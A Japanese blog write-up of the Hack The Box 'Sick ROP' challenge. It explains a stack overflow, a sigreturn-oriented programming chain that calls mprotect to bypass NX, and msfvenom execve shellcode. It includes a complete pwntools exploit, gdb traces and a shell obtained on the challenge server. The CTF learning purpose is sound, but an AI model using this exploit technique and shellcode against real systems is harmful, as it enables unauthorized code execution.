SROPとNX enabledの回避
Hack The Boxのチャレンジ「Sick ROP」(一つ前の記事はこのため)。
SROPによる攻撃、sys_mprotectを呼び出してNX enabledの回避、そしてシェルコードを注入してシェルを起動する。
プログラムの概要
checksec
$ checksec ./sick_rop [*] '/home/shoebill/SickROP/sick_rop' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
「NX enabled」なので、スタックにシェルコードを積んでそれを実行したりはできない。gdbのvmmap
コマンドでパーミッションを確認すると
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r--p /home/shoebill/SickROP/sick_rop 0x00401000 0x00402000 r-xp /home/shoebill/SickROP/sick_rop 0x00007ffff7ff9000 0x00007ffff7ffd000 r--p [vvar] 0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso] 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
ディスアセンブルして動きをみる
gdb-peda$ disas _start Dump of assembler code for function _start: 0x000000000040104f <+0>: call 0x40102e <vuln> 0x0000000000401054 <+5>: jmp 0x40104f <_start> End of assembler dump. gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x000000000040102e <+0>: push rbp 0x000000000040102f <+1>: mov rbp,rsp 0x0000000000401032 <+4>: sub rsp,0x20 0x0000000000401036 <+8>: mov r10,rsp 0x0000000000401039 <+11>: push 0x300 0x000000000040103e <+16>: push r10 0x0000000000401040 <+18>: call 0x401000 <read> 0x0000000000401045 <+23>: push rax 0x0000000000401046 <+24>: push r10 0x0000000000401048 <+26>: call 0x401017 <write> 0x000000000040104d <+31>: leave 0x000000000040104e <+32>: ret End of assembler dump.
vuln
関数を繰り返し実行するという単純なもの。そしてvuln
関数の中ではread
関数で入力されたものをwrite
関数で出力してる。
Ghidraによるvuln
関数のデコンパイル結果:
void vuln(int param_1,void *param_2,size_t param_3) { size_t __n; read(param_1,param_2,param_3); write(param_1,param_2,__n); return; }
(vuln
に与えたパラメータを使ってread
とwrite
を実行してる)
SROPで攻撃する
ガジェットについて
ガジェットは限られており単純なROPではうまくいかなそう:
{4198477: Gadget(0x40104d, ['leave', 'ret'], ['rbp', 'rsp'], 0x2540be407), 4198422: Gadget(0x401016, ['ret'], [], 0x8), 4198420: Gadget(0x401014, ['syscall', 'ret'], [], 0x8)}
しかし、syscallガジェットがあることに注目する。
bofの脆弱性がある
0x20バイトだけ入力バッファのサイズをとっているが、実際はread
関数で0x300分のサイズを用意してる。
bofについて詳しく
read
関数にブレイクポイントを打って、read
がsyscallされる直前までステップ実行すると
gdb-peda$ b *vuln+18 gdb-peda$ r gdb-peda$ si gdb-peda$ ni # niを4回 [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x300 RSI: 0x7fffffffde40 --> 0x0 RDI: 0x0 RBP: 0x7fffffffde60 --> 0x0 RSP: 0x7fffffffde28 --> 0x401045 (<vuln+23>: push rax) RIP: 0x401014 (<read+20>: syscall) R8 : 0x0 R9 : 0x0 R10: 0x7fffffffde40 --> 0x0 ... [-------------------------------------code-------------------------------------] 0x401005 <read+5>: mov edi,0x0 0x40100a <read+10>: mov rsi,QWORD PTR [rsp+0x8] 0x40100f <read+15>: mov rdx,QWORD PTR [rsp+0x10] => 0x401014 <read+20>: syscall 0x401016 <read+22>: ret 0x401017 <write>: mov eax,0x1 0x40101c <write+5>: mov edi,0x1 0x401021 <write+10>: mov rsi,QWORD PTR [rsp+0x8] Guessed arguments: arg[0]: 0x0 arg[1]: 0x7fffffffde40 --> 0x0 arg[2]: 0x300 ...
arg[2]
がread
関数の読み取るサイズであり、0x300と分かる。
リターンアドレスまでのオフセットを求める
入力バッファのサイズが0x20ということがディスアセンブル結果からわかる。そしてリターンアドレスはrbpから0x8バイト上位にオフセットした位置にあるから、リターンアドレスまでのオフセットは0x28(=40)とわかる。
gdbで入力バッファからrbpまでのオフセットを求めると(pattc 50
の出力を入力)
RBP: 0x6141414541412941 ('A)AAEAAa') RSP: 0x7fffffffde48 ("AA0AAFAAbA\n") RIP: 0x40104e (<vuln+32>: ret) R8 : 0x0 R9 : 0x0 R10: 0x7fffffffde20 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n") ... [-------------------------------------code-------------------------------------] 0x401046 <vuln+24>: push r10 0x401048 <vuln+26>: call 0x401017 <write> 0x40104d <vuln+31>: leave => 0x40104e <vuln+32>: ret 0x40104f <_start>: call 0x40102e <vuln> 0x401054 <_start+5>: jmp 0x40104f <_start> 0x401056: add BYTE PTR [rax],al 0x401058: add BYTE PTR [rax],al [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde48 ("AA0AAFAAbA\n") 0008| 0x7fffffffde50 --> 0xa4162 ('bA\n') 0016| 0x7fffffffde58 --> 0x7fffffffe1ea ("/home/shoebill/SickROP/sick_rop") ... [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040104e in vuln () gdb-peda$ patto A)AAEAAa A)AAEAAa found at offset: 32
+--------------------+ | | | | | | -0x20 | buf | | | | | | | +--------------------+ | | | saved rbp | | | +--------------------+ | | +0x8 | retaddr | | | +--------------------+
ガジェットが少ない、bofの脆弱がある、スタックのスペースにも余裕がある(0x300バイト)。そこでSROPによる攻撃を行う。
SROPに際し解決すべき2つの問題
pop rax
のガジェットがない- "/bin/sh"の文字列がバイナリに含まれていない
ガジェットの問題
sigreturnを発生させるためには、raxレジスタにsys_sigreturnのシステムコール番号である0xfを格納する必要がある。
ここで、次の2つの事が重要:
write
関数の戻り値は、書き出したバイト数である- 関数の返り値はraxレジスタに格納される
今回のプログラムでは、write
が書き出すバイト数はその前にあるread
が読み込むバイト数である。
もっというと、それらはvuln
関数に与える引数のバイト数および返り値である(上のvuln
関数のデコンパイル結果を参照)。
なのでraxレジスタに格納する値を制御できる!
write
関数の直後にあるret
命令にブレクポイントを打って5文字与えた様子:
gdb-peda$ b *vuln+32 gdb-peda$ r aaaaa ... [----------------------------------registers-----------------------------------] RAX: 0x6 RBX: 0x0 RCX: 0x40102d (<write+22>: ret) RDX: 0x6 RSI: 0x7fffffffde40 --> 0xa6161616161 ('aaaaa\n') RDI: 0x1 RBP: 0x0 RSP: 0x7fffffffde68 --> 0x401054 (<_start+5>: jmp 0x40104f <_start>) RIP: 0x40104e (<vuln+32>: ret) R8 : 0x0 R9 : 0x0 R10: 0x7fffffffde40 --> 0xa6161616161 ('aaaaa\n') R11: 0x202 R12: 0x0 R13: 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401046 <vuln+24>: push r10 0x401048 <vuln+26>: call 0x401017 <write> 0x40104d <vuln+31>: leave => 0x40104e <vuln+32>: ret 0x40104f <_start>: call 0x40102e <vuln> 0x401054 <_start+5>: jmp 0x40104f <_start> 0x401056: add BYTE PTR [rax],al
\n
が末尾に付くので、与えた文字数+1がraxレジスタに格納される点に注意。
文字列の問題
バイナリ中に"/bin/sh"の文字列がないので、/bin/sh
を実行するシェルコードをスタックに置いてそれを実行させる。
msfvenom
を使ってシェルコードを生成:
$ msfvenom -p linux/x64/exec -f python ... buf = b"" buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54" buf += b"\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"
しかし、「NX enabled」なのでスタックにおいたシェルコードを実行することはできない。そこで登場するのがsys_mprotect
sys_mprotect
でNX enabeldを回避
sys_mprotect
はメモリ領域のアクセス許可を制御するシステムコール(システムコール番号は10)。
int mprotect(const void *addr, size_t len, int prot);
区間[addr ,addr +len -1]
の一部またはすべてを含むメモリページのアクセス保護を指定する。
exploitでは第3引数に7番(Read・Write・Executionの全てを許可する意味)を指定する。
第1引数、つまりその許可を設定する場所のアドレスはバイナリスタート位置の0x400000を指定する(最初に示したvmmap
コマンドの出力を参照)。
ちなみに、sys_mprotect
はsigreturnを利用して呼び出す。
exploit
#!/usr/bin/env python3 from pwn import * bin_file = './sick_rop' context.binary = bin_file binf = ELF(bin_file) addr_vuln = binf.symbols['vuln'] addr_vuln_ptr = 0x4010d8 writable_segment = 0x400000 rop = ROP(binf) syscall_ret = rop.syscall.address shellcode = b'' shellcode += b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54' shellcode += b'\x5f\x52\x5e\x6a\x3b\x58\x0f\x05' addr_shellcode = 0x4010e8 def attack(conn, **kwargs): frame = SigreturnFrame() frame.rax = constants.SYS_mprotect frame.rdi = writable_segment frame.rsi = 0x10000 frame.rdx = 0x7 frame.rsp = addr_vuln_ptr frame.rip = syscall_ret payload_1 = b'a' * (0x20 + 0x8) payload_1 += p64(addr_vuln) payload_1 += p64(syscall_ret) payload_1 += bytes(frame) conn.sendline(payload_1) conn.recvline() payload_2 = b'b' * (0xf - 0x1) conn.sendline(payload_2) conn.recvline() # spawn a shell payload_3 = b'c' * (0x20 + 0x8) payload_3 += p64(addr_shellcode) payload_3 += shellcode conn.sendline(payload_3) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
※ いちいち書いてるconn.recvline()
は必要
sigreturnとsys_mprotect
SROPでsys_mprotect
を起動してメモリページのパーミッションを変更する。
そのためにbofの脆弱性を使ってる。ここのbofがいつものbofと少し違う感じがして戸惑った。
bofについて
payload_1 = b'a' * (0x20 + 0x8) payload_1 += p64(addr_vuln) payload_1 += p64(syscall_ret) payload_1 += bytes(frame) conn.sendline(payload_1) conn.recvline()
リターンアドレスをvuln
関数のアドレスにして、まずvuln
関数に飛ばす。
その時、後ろにはsyscallガジェットとsigframeが続く:
+--------------------+ | | | aaaaaaa | | . | | . | | . | | aaaaaaa | | | +--------------------+ | | | addr_vuln | +--------------------+ | | | syscall | +--------------------+ | | | | | | | | | frame | | | | | | | +--------------------+
conn.sendline(payload_1)
の次の行にgdb.attach(conn)
と書いて実行する。それでpayload_1
を送った直後のスタックの様子をgdbでみると...
(以降にあるsigframeの様子も併せてみるとわかりやすい)
0000| 0x7ffd3cb953e0 --> 0x401045 (<vuln+23>: push rax) 0008| 0x7ffd3cb953e8 --> 0x7ffd3cb953f8 ('a' <repeats 40 times>, "\024\020@") 0016| 0x7ffd3cb953f0 --> 0x300 0024| 0x7ffd3cb953f8 ('a' <repeats 40 times>, "\024\020@") 0032| 0x7ffd3cb95400 ('a' <repeats 32 times>, "\024\020@") 0040| 0x7ffd3cb95408 ('a' <repeats 24 times>, "\024\020@") 0048| 0x7ffd3cb95410 ('a' <repeats 16 times>, "\024\020@") 0056| 0x7ffd3cb95418 ("aaaaaaaa\024\020@") 0064| 0x7ffd3cb95420 --> 0x401014 (<read+20>: syscall) 0072| 0x7ffd3cb95428 --> 0x0 0080| 0x7ffd3cb95430 --> 0x0 0088| 0x7ffd3cb95438 --> 0x0 0096| 0x7ffd3cb95440 --> 0x0 0104| 0x7ffd3cb95448 --> 0x0 0112| 0x7ffd3cb95450 --> 0x0 0120| 0x7ffd3cb95458 --> 0x0 0128| 0x7ffd3cb95460 --> 0x0 0136| 0x7ffd3cb95468 --> 0x0 0144| 0x7ffd3cb95470 --> 0x0 0152| 0x7ffd3cb95478 --> 0x0 0160| 0x7ffd3cb95480 --> 0x0 0168| 0x7ffd3cb95488 --> 0x0 0176| 0x7ffd3cb95490 --> 0x400000 --> 0x10102464c457f 0184| 0x7ffd3cb95498 --> 0x10000 0192| 0x7ffd3cb954a0 --> 0x0 0200| 0x7ffd3cb954a8 --> 0x0 0208| 0x7ffd3cb954b0 --> 0x7 0216| 0x7ffd3cb954b8 --> 0xa ('\n') 0224| 0x7ffd3cb954c0 --> 0x0 0232| 0x7ffd3cb954c8 --> 0x4010d8 --> 0x40102e (<vuln>: push rbp) 0240| 0x7ffd3cb954d0 --> 0x401014 (<read+20>: syscall) 0248| 0x7ffd3cb954d8 --> 0x0 0256| 0x7ffd3cb954e0 --> 0x33 ('3') 0264| 0x7ffd3cb954e8 --> 0x0 0272| 0x7ffd3cb954f0 --> 0x0 0280| 0x7ffd3cb954f8 --> 0x0
このpayload_1
をプログラムに与えるとvuln
関数に実行が移り、再び入力待ちになる。
そこにpayload_2
を入力する:
payload_2 = b'b' * (0xf - 0x1) conn.sendline(payload_2) conn.recvline()
これによりvuln
関数の返り値が0xfとなり、raxレジスタに0xfが格納される。
そしてret
するとその後にあるsyscallガジェットのおかげでsys_rt_sigreturn
が実行される。
(そしてそのsys_rt_sigreturn
が実行されるとsys_mprotect
が実行される)
sigframeについて
sys_mprotect
のためのレジスタ値を設定する:
frame = SigreturnFrame() frame.rax = constants.SYS_mprotect frame.rdi = writable_segment frame.rsi = 0x10000 frame.rdx = 0x7 frame.rsp = addr_vuln_ptr frame.rip = syscall_ret
次のpayload_3
の入力を行うために、この次もまたvuln
関数を実行する。
vuln
関数に飛ぶために、rspレジスタにはvuln
関数のアドレスではなく、vuln
をポイントしてるポインタのアドレスを指定する。
(そもそもrspレジスタはスタックポインタと呼ばれ、スタックの先頭をポイントしてる)
新たに関数を呼ぶと新しくスタックフレームが作られるので、直接vuln
関数のアドレスではなくvuln
関数をポイントしてるポインタのアドレスを指定。
vuln
関数へのポインタのアドレスは、gdbのfind
コマンドにvuln
関数のアドレスを指定して実行するとみつかる:
gdb-peda$ find 0x40102e Searching for '0x40102e' in: None ranges Found 1 results, display max 1 items: sick_rop : 0x4010d8 --> 0x40102e (<vuln>: push rbp)
sigframeの様子:
{'uc_flags': 0, '&uc': 0, 'uc_stack.ss_sp': 0, 'uc_stack.ss_flags': 0, 'uc_stack.ss_size': 0, 'r8': 0, 'r9': 0, 'r10': 0, 'r11': 0, 'r12': 0, 'r13': 0, 'r14': 0, 'r15': 0, 'rdi': 4194304, # == 0x400000 'rsi': 65536, # == 0x10000 'rbp': 0, 'rbx': 0, 'rdx': 7, 'rax': Constant('SYS_mprotect', 0xa), 'rcx': 0, 'rsp': 4198616, # == 0x4010d8 'rip': 4198420, # == 0x401014 'eflags': 0, 'csgsfs': 51, 'err': 0, 'trapno': 0, 'oldmask': 0, 'cr2': 0, '&fpstate': 0, '__reserved': 0, 'sigmask': 0}
パーミッションを確認
sigreturnが実行されると、上記のように設定したsigframeによってsys_mprotect
が実行される。
このタイミングでメモリページのパーミッションをgdbで確認してみる。
...
conn.sendline(payload_2)
conn.recvline()
gdb.attache(conn) # この一行を挿入
...
この一行を入れてやればこのタイミングでgdbが起動する。そこでvmmap
コマンドを実行すると、たしかにRWXが許可されてる:
シェルコード実行
リターンアドレスを、シェルコードの置いてある場所のアドレスに書き換える。
payload_3 = b'c' * (0x20 + 0x8) payload_3 += p64(addr_shellcode) # addr_shellcode = 0x4010e8 payload_3 += shellcode conn.sendline(payload_3)
シェルコードはどこにあるのか?
スタックのどっかにある。そこで再びgdbにアタッチして探す。
payload_3
とgdbのアタッチ箇所を次のように設定してexploitを実行する:
(適当なリターンアドレスを設定しておかないと「そのようなプロセスはありません」と言われgdbが使えないのでここではvuln
関数のアドレスを指定しておく)
... payload_3 = b'c' * (0x20 + 0x8) payload_3 += p64(addr_vuln) payload_3 += shellcode conn.sendline(payload_3) gdb.attach(conn) ...
gdbが起動する:
[-------------------------------------code-------------------------------------] 0x40100a <read+10>: mov rsi,QWORD PTR [rsp+0x8] 0x40100f <read+15>: mov rdx,QWORD PTR [rsp+0x10] 0x401014 <read+20>: syscall => 0x401016 <read+22>: ret 0x401017 <write>: mov eax,0x1 0x40101c <write+5>: mov edi,0x1 0x401021 <write+10>: mov rsi,QWORD PTR [rsp+0x8] 0x401026 <write+15>: mov rdx,QWORD PTR [rsp+0x10] [------------------------------------stack-------------------------------------] 0000| 0x4010a8 --> 0x401045 --> 0xffffffcae8524150 0008| 0x4010b0 --> 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh") 0016| 0x4010b8 --> 0x300 0024| 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh") 0032| 0x4010c8 ('c' <repeats 32 times>, "H\270/bin/sh") 0040| 0x4010d0 ('c' <repeats 24 times>, "H\270/bin/sh") 0048| 0x4010d8 ('c' <repeats 16 times>, "H\270/bin/sh") 0056| 0x4010e0 ("ccccccccH\270/bin/sh") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0000000000401016 in read () gdb-peda$
スタックを多めに表示すると
gdb-peda$ stack 20 0000| 0x4010a8 --> 0x401045 --> 0xffffffcae8524150 0008| 0x4010b0 --> 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh") 0016| 0x4010b8 --> 0x300 0024| 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh") 0032| 0x4010c8 ('c' <repeats 32 times>, "H\270/bin/sh") 0040| 0x4010d0 ('c' <repeats 24 times>, "H\270/bin/sh") 0048| 0x4010d8 ('c' <repeats 16 times>, "H\270/bin/sh") 0056| 0x4010e0 ("ccccccccH\270/bin/sh") 0064| 0x4010e8 --> 0x732f6e69622fb848 0072| 0x4010f0 --> 0x5e525f5450990068 0080| 0x4010f8 --> 0xa050f583b6a 0088| 0x401100 --> 0x1001000000019 0096| 0x401108 --> 0x402000 ('') 0104| 0x401110 --> 0x0
アドレス0x4010e0の途中で"c"が終わってそこから何かが続いてる。
その部分をもっと細かくみるために、1バイトずつ表示してみる:
gdb-peda$ x/20bx 0x4010e0 0x4010e0: 0x63 0x63 0x63 0x63 0x63 0x63 0x63 0x63 0x4010e8: 0x48 0xb8 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x4010f0: 0x68 0x00 0x99 0x50
シェルコードの本体\x48\xb8\x2f\x62\x69\x6e...
と照らし合わせてみると、シェルコードは0x4010e8から始まっているとわかる。
なのでaddr_shellcode = 0x4010e8
。
サーバへ侵入
┌──(shoebill㉿shoebill)-[~/SickROP] └─$ ./exploit.py [*] '/home/shoebill/SickROP/sick_rop' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 3 cached gadgets for './sick_rop' [+] Opening connection to 167.99.202.193 on port 30786: Done [*] Switching to interactive mode bbbbbbbbbbbbbb cccccccccccccccccccccccccccccccccccccccc\xe8@\x00\x00\x00\xb8/bin/sh\x00PT_R^j;X\x0f $ id uid=999(ctf) gid=999(ctf) groups=999(ctf)
自分でexploitを書いて、それ使ってサーバへ侵入するこの感じがpwnの醍醐味。だから難しいけど嫌いになれない。
ハッカーおたくの俺は映画whoamiの次のシーンを思い出した:
わざわざlog.info('pwned! Go ahead...)
とか書きたくなった。